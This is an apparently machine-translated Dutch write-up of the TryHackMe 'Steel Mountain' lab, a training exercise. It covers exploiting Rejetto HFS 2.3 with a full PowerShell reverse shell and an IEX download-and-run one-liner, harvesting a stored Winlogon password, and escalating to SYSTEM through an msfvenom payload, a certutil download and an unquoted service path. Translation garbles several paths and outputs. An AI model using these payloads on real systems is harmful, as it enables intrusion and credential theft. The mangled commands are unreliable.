Steel Mountain – TryHackMe – Handmatig schrijven

Reading Time: ( Word Count: )

February 15, 2021
Nextdoorsec-course

Intro

Hallo en welkom bij mijn allereerste write-up.

De laatste tijd heb ik veel tijd doorgebracht op TryHackMe; het is echt een verslavend platform om te studeren en tegelijkertijd je hackvaardigheden te oefenen. In plaats van opdrachten en theorieën te posten, heb ik besloten om schrijf-ups te doen, omdat dit veel meer waarde biedt. Dus laten we beginnen. Hier is een link naar de doos.

Steel Mountain is een Windows-machine van TryHackMe, gebaseerd op de tv-serie Mr Robot (mijn favoriete serie aller tijden). De officiële walkthrough wordt geleverd met Metasploit, waardoor het vrij eenvoudig is om te rooten. We zullen het vandaag echter allemaal handmatig doen, omdat je geen auto-exploit tools kunt gebruiken op het OSCP examen.

Hierdoor begrijp je hoe alles achter de schermen werkt, dus als je vastloopt met scripts die alles automatisch doen, kun je terugvallen op de handmatige manier van werken. Ik heb de methodologie eenvoudig gehouden tot opsomming, uitbuiting en Privilege Escalation.

Opsomming

Een Nmap-scan uitvoeren:

┌──(kali㉿kali)-[~] └─$ export IP=10.10.212.213
┌──(kali㉿kali)-[~] └─$ nmap -A -Pn -v $IP
PORT STATE SERVICE VERSIE 80/tcp open http Microsoft IIS httpd 8.5 | http-methodes: | Ondersteunde methoden: OPTIONS TRACE GET HEAD POST |Potentieel riskante methoden: TRACE |_http-server-header: Microsoft-IIS/8.5 |_http-title: Site heeft geen titel (text/html). 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 3389/tcp open ssl/ms-wbt-server? | ssl-cert: Onderwerp: commonName=steelmountain | Uitgever: commonName=steelmountain | Type openbare sleutel: rsa | Openbare sleutel bits: 2048 | Handtekeningalgoritme: sha1metRSAEncryptie | Niet geldig voor: 2020-10-11T19:04:29 | Niet geldig na: 2021-04-12T19:04:29 | MD5: cf4c 483f 7654 c778 e6b9 0144 1de0 18c9 |_SHA-1: ed4f 6cac 8059 d465 9e7b 7730 8ac4 56a4 67df d29c |_ssl-date: 2021-02-05T15:22:17+00:00; -1s van scantijd. 8080/tcp open http HttpFileServer httpd 2.3 |_http-favicon: Onbekend favicon MD5: 759792EDD4EF8E6BC2D1877D27153CB1 | http-methodes: |Ondersteunde methoden: GET HEAD POST |_http-server-header: HFS 2.3 |_http-titel: HFS / 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open msrpc Microsoft Windows RPC Service-info: Besturingssystemen: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script resultaten: |_clock-skew: gemiddelde: -1s, afwijking: 0s, mediaan: -1s | nbstat: NetBIOS naam: STEELMOUNTAIN, NetBIOS gebruiker: , NetBIOS MAC: 02:d5:4c:6e:e4:ef (onbekend) | Namen: | STAALBERG<00> Vlaggen: | WORKGROUP<00> Vlaggen: |<20> Vlaggen: | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: ondersteund | message_signing: uitgeschakeld (gevaarlijk, maar standaard) | smb2-security-mode: | 2.02: |Ondertekening van berichten ingeschakeld maar niet vereist | smb2-time: | Datum: 2021-02-05T15:22:11 |_ start_datum: 2021-02-05T14:09:29

Ik vind het leuk om de -v vlag voor verbositeit mee te nemen, als de scan doorgaat en wat resultaten geeft, kan ik rondkijken om te zien of er iets interessants is. Op poort 80 vinden we een Microsoft webserver die een willekeurige afbeelding bevat van iemand uit de serie Mr Robot.

 

Het uitvoeren van dirbuster levert niets interessants op.

 

Wanneer we de webserver op poort 8080 verkennen, vinden we een http-bestandsserver die draait op versie 2.3, linksonder zien we “Server Information” die een link bevat naar de website van de leverancier:

Het leidt ons door naar www.rejetto.com/hfs

Exploitatie

Laten we eens kijken of deze versie van de webserver kwetsbaar is:

┌──(kali㉿kali)-[~] └─$ searchsploit rejetto 2.3
----------------------------------------------------------------------------------------- --------------------------------- Exploit Titel | Pad ----------------------------------------------------------------------------------------- --------------------------------- Rejetto HttpFileServer 2.3.x - Remote Command Execution (3) | windows/webapps/49125.py ----------------------------------------------------------------------------------------- --------------------------------- Shellcodes: Geen resultaten

 

Kopieer de exploit naar een lokaal pad en controleer het gebruik ervan. Na het doorlezen hebben we een reverse shell payload nodig, ik zal Powershell gebruiken, omdat ik het niet veel getest heb. Bekijk hieronder de code en zorg ervoor dat je de IP- en poortwaarden aanpast aan die van jezelf.

Na het configureren van de payload is het tijd om onze Netcat listener te starten (sudo als de poort lager is dan 1023) en onze HTTP server om de reverse shell binary te downloaden en uit te voeren op het doel.

┌──(kali㉿kali)-[~] └─$ cp /usr/share/exploitdb/exploits/windows/webapps/49125.py ./rejetto.py ┌──(kali㉿kali)-[~] └─$ cat rejetto.py python3 Exploit.py <RHOST> <Target RPORT> <Command> ┌──(kali㉿kali)-[~] └─$ gedit reverse.ps1& $client = New-Object System.Net.Sockets.TCPClient('10.8.152.221',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text .encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush(); } $client.Close();
┌(kali㉿kali)-[~] └─$ sudo nc -nlvp 443 listening on [any] 443 ... ┌──(kali㉿kali)-[~] └─$ python3 -m http.server 5300

 

Nu we alles hebben ingesteld, is het tijd om onze exploit uit te voeren en de shell op te vangen met onze listener (deze one-liner draait in het geheugen van Powershell):

┌──(kali㉿kali)-[~] └─$ python3 rejetto.py $IP 8080 "c:\windowsSysNative\WindowsPowershellv1.0_powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.8.152.221:5300/reverse.ps1')"
 

Privilege-escalatie

We zijn nu binnen, wat betekent dat het tijd is voor wat meer opsomming, we moeten zwakke punten vinden en kwetsbare configuraties identificeren. Ik begin altijd met uit te zoeken wie ik ben en wat mijn privileges zijn.

whoami

luisteren op [any] 443 ... verbinden met [10 .10.10.10] vanaf (UNKNOWN) [10 .10.212.213] 50067 PS C:►UsersAppData:Roaming>MicrosoftWindows Startmenu>whoami steelmountain > whoami /priv PRIVILEGES INFORMATIE ---------------------- Privilege Naam Omschrijving Status ============================= ============================== ======== SeChangeNotifyPrivilege Traversecontrole omzeilen ingeschakeld SeIncreaseWorkingSetPrivilege Een werkset van een proces verhogen uitgeschakeld

Het omzeilen van traversecontrole betekent dat we alleen bepaalde bestanden in bepaalde mappen kunnen bekijken zonder dat we de inhoud ervan kunnen weergeven, we kunnen alleen “traverse” naar het bestand waartoe we eerder toegang hebben ingesteld door de beheerder of het systeem.

 

Andere (verborgen) gebruikers

Laten we de andere bestaande gebruikers in het systeem bekijken, de -Force Met het commando kunnen we ook de verborgen bestanden zien:

PS C:\Users_Desktop> net users Gebruikersaccounts voor \STEELMOUNTAIN ------------------------------------------------------------------------------- Administrator rekening Gast De opdracht is succesvol voltooid. PS C:\Users-Downloads> Get-ChildItem C:\Users -Force | select Name Naam ---- Beheerder Alle gebruikers bill Standaard Standaard gebruiker Publiek desktop.ini
 
 

Alle gebruikers in de groep Administrators

We vinden geen gebruikers in de groep Administrators.

PS C:\UsersDownloads> net localgroup Administrators Alias naam Administrators Opmerking Administrators hebben volledige en onbeperkte toegang tot de computer/domein. Leden ------------------------------------------------------------------------------- Beheerder De opdracht is succesvol voltooid.
 
 

Laten we Winlogon controleren op opgeslagen referenties

PS C:\UsersArtikelDownloads> reg query "HKLM\Software\MicrosoftWindows NT_CurrentVersion_winlogon".
HKEY_LOCAL_MACHINE_Windows NT_CurrentVersion_winlogon Userinit REG_SZ C:\Windowssystem32userinit.exe, LegalNoticeText REG_SZ Shell REG_SZ explorer.exe LegalNoticeCaption REG_SZ DebugServerCommand REG_SZ nee ForceUnlockLogon REG_DWORD 0x0 ReportBootOk REG_SZ 1 VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile AutoRestartShell REG_DWORD 0x1 PowerdownAfterShutdown REG_SZ 0 ShutdownWithoutLogon REG_SZ 0 Achtergrond REG_SZ 0 0 0 PreloadFontFile REG_SZ SC-Load.All WachtwoordExpiratieWaarschuwing REG_DWORD 0x5 CachedLogonsCount REG_SZ 10 WinStationsDisabled REG_SZ 0 PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16} UitschakelenCAD REG_DWORD 0x1 scremoveoption REG_SZ 0 ShutdownFlags REG_DWORD 0x7 AutoLogonSID REG_SZ S-1-5-21-3029548963-3893655183-1231094572-1001 Laatst gebruikte gebruikersnaam REG_SZ rekening Standaardgebruikersnaam REG_SZ rekening Standaardwachtwoord REG_SZ PMBAf5KhZAxVhvqb AutoAdminLogon REG_SZ 1 PS C:\UsersDownloads> Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\MicrosoftWindows NTCurrentVersionWinLogon' | selecteer "Default*".
Standaardgebruikersnaam Standaardwachtwoord --------------- --------------- rekening PMBAf5KhZAxVhvqb

We hebben Bills wachtwoord gevonden: PMBAf5KhZAxVhvqb

Hoewel we een open RDP-poort hebben (3389), kon ik geen verbinding maken, ik weet niet zeker waarom.

Tip: HKLM sleutels worden (indien nodig) elke keer uitgevoerd wanneer het systeem wordt opgestart, terwijl HKCU sleutels alleen worden uitgevoerd wanneer een specifieke gebruiker zich aanmeldt op het systeem.

 

Controleer op zwakke mapmachtigingen

We vinden alle zwakke mapmachtigingen per schijf met accesschk.exe, gedownload van de officiële Microsoft
website
. Je kunt je apache server of een smb-server gebruiken om het over te zetten. (kostte me ~1 min, wees geduldig)

PS C:\Gebruikersgegevens> .\accesschk.exe /accepteula -uwdqs Gebruikers C:\
RW C:\ RW C:\ProgramData\Amazon RW C:\ProgramData\IObit RW C:\ProgramData\Oracle RW C:\ProgramData\ProductData RW C:\ProgramData.{FD6F83C0-EC70-4581-8361-C70CD1AA4B98} RW C:\Programmagegevens\Amazon[-Windows RW C:\ProgramData\Amazon\Ec2Config RW C:\Programmagegevens_Amazon_SSM RW C:\Programmagegevens\Amazon\EC2-Windows\Start RW C:\Programmagegevens\Amazon\EC2-Windows\Launch\Config RW C:\Programmagegevens\Amazon\EC2-Windows_Startmodule RW C:\Programmagegevens\Amazon\EC2-Windows\Launch\Scripts RW C:\Programmagegevens\Amazon\EC2-Windows\Startinstellingen RW C:\Programmagegevens\Amazon\EC2-Windows\Launch\Sysprep RW C:\Programmagegevens\Amazon\EC2-Windows\Launch\Module\Scripts RW C:\Programmagegevens_Amazon_Ec2Config_logs RW C:\Programmagegevens_Amazon_Ec2Config_monitor RW C:\Programmagegevens_Amazon_SSM_InstanceData RW C:\Programmagegevens_Amazon_SSM_Logs RW C:ProgrammagegevensAdvanced SystemCare RW C:\ProgramData\ASCDownloader RW C:\ProgramData\IObit verwijderaar RW C:Programmagegevens RW C:\Programmagegevens\Advanced SystemCare\Homepage Protection RW C:\Programmagegevens\Geavanceerd systeembeheer RW C:\Programmagegevens\Advanced SystemCare\Startup Manager RW C:\Programmaprogramma's_Uitschakelen_database ... ----------------- -d Alleen procesmappen of topniveau-sleutel -q Laat banner weg -s Recurse -u Onderdruk fouten -v Verbose (inclusief Windows Vista Integrity Level) -w Toon alleen objecten met schrijftoegang

De software van IObit trekt meteen mijn aandacht, omdat het ongebruikelijk is (na het zien van een aantal standaardinstellingen raak je eraan gewend). Opnieuw zoeken naar zwakke bestandsrechten met “.\accesschk.exe -uwqs Users c:\“. geeft me dezelfde resultaten.

 
 

Controleren op actieve processen/services

PS C:\Downloads> takenlijst /svc
Naam afbeelding PID Diensten ========================= ======== ============================================ ... services.exe 640 N.v.t. lsass.exe 648 SamSs svchost.exe 704 BrokerInfrastructuur, DcomLaunch, LSM, PlugPlay, Power, SystemEventsBroker svchost.exe 732 RpcEptMapper, RpcSs ASCService.exe 824 AdvancedSystemCareService9 dwm.exe 836 N/A svchost.exe 948 Dhcp, EventLog, lmhosts, Wcmsvc ...

 

 

Controleer op proceseigenaar van de service

Deze one-liner geeft de proceseigenaar zonder beheerdersrechten, als er iets leeg is onder owner dan draait het waarschijnlijk als SYSTEM, NETWORK SERVICE of LOCAL SERVICE.

PS C:\UsersDownloads> Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Selecteer Naam, Handvat, @{Label="Eigenaar";Uitdrukking={$_.GetOwner().Gebruiker}} | ft -AutoSize
Naam Handgreep Eigenaar ---- ------ ----- Systeem inactief Proces 0 Systeem 4 smss.exe 360 csrss.exe 492 csrss.exe 544 wininit.exe 572 winlogon.exe 580 services.exe 640 lsass.exe 648 ASCService.exe 824 dwm.exe 836 spoolsv.exe 1208 amazon-ssm-agent.exe 1252 LiteAgent.exe 1324 LiveUpdate.exe 1452 Ec2Config.exe 1664 WmiPrvSE.exe 2368 taakhostex.exe 2628 rekening explorer.exe 2692 rekening hfs.exe 2504 rekening msdtc.exe 3488 powershell.exe 3636 rekening powershell.exe 3660 rekening conhost.exe 3668 rekening conhost.exe 3692 rekening

 

 

De service opvragen

We zagen AdvancedSystemCareService bijna bij elke controle, laten we de service opvragen om de configuratie te controleren:

PS C:\Downloads> cmd.exe /c 'sc qc AdvancedSystemCareService9'.
[SC] QueryServiceConfig SUCCESS SERVICE_NAAM: AdvancedSystemCareService9 TYPE : 110 WIN32_OWN_PROCESS (interactief) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAAL BINARY_PATH_NAME : C:\Program Files (x86)\IObit\Advanced SystemCareASCService.exe LOAD_ORDER_GROUP : Systeem Gereserveerd TAG : 1 DISPLAY_NAME : Advanced SystemCare Service 9 : SERVICE_START_NAME : LocalSystem

De binaire padnaam is niet genoteerd en bevat spaties. Dus Windows zal eerst proberen Advanced.exe uit te voeren vóór het eigenlijke uitvoerbare bestand. Daarom moeten we onze payload in C:\Program Files (x86)\ plaatsen en hernoemen naar Advanced.exe. Start daarna de service opnieuw op, omdat deze momenteel draait zoals hierboven te zien is. We hebben ook bevestigd dat we lees- en schrijftoegang (RW) hebben tot de bovenstaande map met accesschk.exe.

 

Laten we onze tweede reverse shell payload maken met msfvenom, het Advanced.exe noemen, overbrengen naar de doelmachine met certutil.exe en een listener starten op de opgegeven poort. Stop de service, controleer of deze is gestopt met Get-Service en start deze opnieuw:

PS C:\Usersbill\Downloads> msfvenom -p windows/shell_reverse_tcp LHOST=10.8.152.221 LPORT=5555 -f exe -o Advanced.exe PS C:\Usersbill\Downloads> certutil.exe -urlcache -split -f "http://10.8.152.221:5300/Advanced.exe" Advanced.exe PS C:\Users\billDownloads> Stop-Service AdvancedSystemCareService9 PS C:\UsersDownloads> Get-Service AdvancedSystemCareService9 PS C:\Downloads> Start-Service AdvancedSystemCareService9

Nu zou je een shell moeten hebben als SYSTEM.

Aydan Arabadzha

Aydan Arabadzha

Author

Aydan, a cybersecurity ace and AI visionary, thrives on the frontlines of offensive security. His passion birthed NextdoorSec, a groundbreaking cybersecurity firm. A relentless pioneer, Aydan is persistently pushing boundaries, shaping the future of the digital world one byte at a time.

Other interesting articles

Automated vs Manual Penetration Testing

Automated vs Manual Penetration Testing

Pentesting is largely divided into two methodologies: Automated vs Manual Penetration Testing. Both have ...
8 Steps in Penetration Testing You Should Know

8 Steps in Penetration Testing You Should Know

Mastering the art of penetration testing has become a critical ability for security experts to combat cyber ...
Spear Phishing vs Whaling: What is the Difference

Spear Phishing vs Whaling: What is the Difference

Spear phishing is a particularly devious type of phishing assault in which the individual targeted plays a ...
0 Comments

Submit a Comment

Your email address will not be published. Required fields are marked *